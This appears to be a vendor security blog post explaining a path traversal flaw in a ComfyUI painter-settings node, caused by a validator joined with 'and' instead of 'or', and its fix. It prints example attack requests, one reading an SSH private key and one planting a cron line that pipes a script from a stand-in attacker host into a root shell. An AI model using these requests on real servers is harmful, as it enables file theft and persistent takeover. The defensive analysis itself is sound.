Back to Blog
medium SEVERITY7 min read

How Path Traversal and Filename Injection Happens in Python File Handling and How to Fix It

A medium-severity path traversal vulnerability in `PainterNode/painter_node.py` allowed attackers to reference files outside the intended directory by exploiting a broken `isFileName()` validation function. The original logic used incorrect boolean operators, meaning the filename guard never actually blocked malicious inputs like `../../../etc/passwd` or paths containing backslashes. The fix rewrites the condition with proper logic and adds explicit checks for path separator characters and direc

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 27, 2026•Reviewed August 27, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in Python's `PainterNode/painter_node.py`, where the `isFileName()` function used incorrect boolean logic (`and` instead of `or`) that caused the validation to silently pass malicious filenames containing `..`, `/`, or `\`. The fix replaces the broken compound condition with properly structured `or`-separated guards and adds explicit checks for path traversal characters, ensuring filenames like `../../../etc/passwd` are rejected before file operations occur.

Vulnerability at a Glance

cweCWE-22
fixRewrote condition using `or` operators and added explicit checks for `/`, `\`, and `..` in filenames
riskAttackers can read, overwrite, or delete arbitrary files on the server by supplying crafted filenames to painter settings endpoints
languagePython
root cause`isFileName()` used `and` operators instead of `or`, making the guard condition logically impossible to trigger
vulnerabilityPath Traversal via Broken Filename Validation

The Broken Guard: A Logic Bug That Unlocked Path Traversal in ComfyUI's PainterNode

The PainterNode/painter_node.py file in ComfyUI manages painter settings by reading and writing files based on user-supplied node names. A dedicated helper function, isFileName(), was supposed to act as a gatekeeper — rejecting any filename that looked dangerous before it ever touched the filesystem. The problem? The gatekeeper's logic was silently broken, and any filename, including ../../../etc/passwd, walked straight through.

This post breaks down exactly how the bug worked, why it's dangerous in the context of a ComfyUI server, and what the fix does to close the gap.


The Vulnerability Explained

The Broken isFileName() Function

Here is the original validation function at the heart of the issue:

# BEFORE (vulnerable)
def isFileName(filename):
    if (
        not filename
        and filename is not None
        and (type(filename) == str and filename.strip() == "")
    ):
        print("Filename is incorrect")
        return False
    return True

At first glance this looks like it's doing something useful. But look closely at the boolean operators: every clause is joined with and. For this if block to trigger and return False, all three conditions must be true simultaneously:

  1. not filename — the filename must be falsy
  2. filename is not None — the filename must not be None
  3. filename.strip() == "" — the filename must be an empty string after stripping whitespace

Conditions 1 and 2 are mutually exclusive in almost every real case. If filename is None, then filename is not None is False, and the whole condition short-circuits. If filename is a non-empty string like "../secrets.json", then not filename is False, and again the condition never triggers. The function returns True — "this is a valid filename" — for virtually every input, including malicious ones.

This means an attacker supplying ../../../etc/passwd, C:\Windows\System32\config\SAM, or ..\\secrets to any endpoint that calls isFileName() would receive a clean bill of health from the validator.

What an Attacker Can Do With This

ComfyUI exposes HTTP endpoints for managing painter settings. The loadingSettings, savingSettings, and related route handlers use isFileName() to validate the nodeName path parameter before constructing a file path like:

settings_file = os.path.join(PAINTER_SETTINGS_DIR, f"{nodeName}.json")

Because isFileName() always returned True, an attacker with network access to the ComfyUI server could send:

GET /alekpet/painter_settings/load/../../../home/user/.ssh/id_rsa

or

POST /alekpet/painter_settings/save
{"nodeName": "../../etc/cron.d/backdoor", "data": "* * * * * root curl attacker.com/shell.sh | bash"}

ComfyUI is frequently run on LAN-exposed ports or even public-facing servers, making this a realistic attack vector. The impact ranges from reading sensitive configuration files to overwriting system files if the process has sufficient permissions.


The Fix

What Changed in isFileName()

The fix rewrites the broken compound condition using or operators and adds explicit path traversal character checks:

# AFTER (fixed)
def isFileName(filename):
    if (
        not filename
        or not isinstance(filename, str)
        or filename.strip() == ""
        or "/" in filename
        or "\\" in filename
        or ".." in filename
    ):
        print("Filename is incorrect")
        return False
    return True

Here's a before/after comparison of the critical logic:

Check Before After
Falsy input not filename and filename is not None (contradictory) not filename (correct)
Type check type(filename) == str (inside impossible branch) not isinstance(filename, str) (always evaluated)
Empty string filename.strip() == "" (inside impossible branch) filename.strip() == "" (always evaluated)
Forward slash ❌ Not checked "/" in filename
Backslash ❌ Not checked "\\" in filename
Directory traversal ❌ Not checked ".." in filename

The switch from and to or means the function now returns False if any single condition is true — exactly the semantics a security guard needs. A filename only passes if it clears every check.

The three new character-level checks directly block the attack scenarios described above:
- "/" in filename — blocks Unix absolute paths and traversal like ../secrets
- "\\" in filename — blocks Windows-style paths like ..\secrets
- ".." in filename — blocks double-dot traversal even without slashes in some edge cases

Why Each Addition Matters

The isinstance(filename, str) check (replacing the old type(filename) == str) is also a subtle improvement: it correctly handles subclasses of str, which is the Python-idiomatic way to type-check, and it's now evaluated unconditionally rather than buried inside an unreachable branch.


Key Takeaways

  • isFileName() in painter_node.py was logically impossible to trigger — the and-chained conditions created a contradiction that meant the function always returned True, making it a no-op security check.
  • Boolean operator choice is a security decision: using and vs or in a validator changes whether you reject on any bad signal or only when all bad signals appear simultaneously.
  • Path traversal requires explicit character checks: blocking .., /, and \ must be done proactively — Python's open() and os.path.join() will happily follow traversal sequences without complaint.
  • Filename validators that live inside unreachable code branches provide zero protection — the type check and empty-string check were both inside a branch that could never execute.
  • File-serving endpoints in network-exposed applications like ComfyUI need both input validation and authentication — one without the other leaves a meaningful attack surface open.

How Orbis AppSec Detected This

  • Source: HTTP route parameter nodeName supplied by a remote client via GET /alekpet/painter_settings/load/{nodeName}
  • Sink: open() call constructing a file path from nodeName inside the settings load handler in PainterNode/painter_node.py
  • Missing control: isFileName() was called but its boolean logic (and instead of or) made it impossible to return False, and no checks existed for /, \, or .. characters
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Fix: Rewrote isFileName() with or-separated conditions and added explicit character-level checks for path traversal sequences

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single misplaced and in a validation function turned a security guard into a welcome mat. The isFileName() function in PainterNode/painter_node.py was designed to protect file operations from malicious input, but its logically contradictory conditions meant it never once rejected a filename in practice. The fix is concise — swap and for or, move checks out of unreachable branches, and add explicit guards for the characters that make path traversal possible. If you maintain Python code that constructs file paths from user input, audit your validators for exactly this pattern: rejection logic must use or, not and.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #211

Related Articles

high

clean_path() Path Traversal: rel_path Escapes USERDATA Dir

A path traversal flaw in the `clean_path()` helper let a user-controlled `rel_path` value escape the intended USERDATA directory and reach arbitrary files on disk. The function joined path segments without checking the final result, so `../` sequences in route parameters or query strings could be used to read or write files outside the sandboxed storage area. The fix normalizes the path and verifies it still resolves inside the USERDATA root before returning it, raising an error otherwise.

critical

path.resolve() Path Traversal in Node CLI's Dynamic import()

A Node.js CLI script for validating expression definitions took a file path from `process.argv[2]`, resolved it with `path.resolve()`, and passed the result straight into a dynamic `import()` — with no check that the resolved path stayed inside the working directory. An attacker (or a malicious skill/plugin invocation) could supply traversal sequences to load and execute arbitrary `.js` files from anywhere on disk. The fix adds a boundary check with `path.relative()` and an extension allowlist b

high

bookDir() Path Traversal via Unsanitized bookId Parameter

The `bookDir()` function accepted unsanitized `bookId` values derived from user-created book titles, enabling path traversal attacks through `../` sequences. A fix was applied that validates the identifier using `path.basename()` and throws on mismatch, ensuring all resolved paths remain within `LIBRARY_DIR`.

high

Express `app.get('*')` Wildcard Handler Path Traversal in watch.js

A first-party Express server's wildcard route handler used `req.url.indexOf('font.woff2')` to gate access to a font file, allowing attackers to bypass the substring check with crafted paths. The fix replaces the catch-all handler with explicit route registration.

high

updateCardBg() Follows Unvalidated 302 Location Headers

A background-image updater fetched a configured image URL with manual redirect handling and then re-issued the request to whatever `Location` header came back, with no scheme or host checks. A redirect to `http://169.254.169.254/` or `http://127.0.0.1:<port>/` would have been followed with the original fetch options attached, and the response body written to disk as an image asset. The fix resolves the redirect target against `imgDownloadUrl` and rejects anything that is not HTTPS on the same ho

high

markitdown_bridge.py Path Traversal: Arbitrary File Read via sys.argv

The markitdown_bridge.py script, used by MDView for DOCX-to-Markdown conversion, accepted file paths directly from command-line arguments without validating they stayed within intended directories. An attacker could exploit this to read arbitrary files from the filesystem by passing path traversal sequences in the source_path parameter.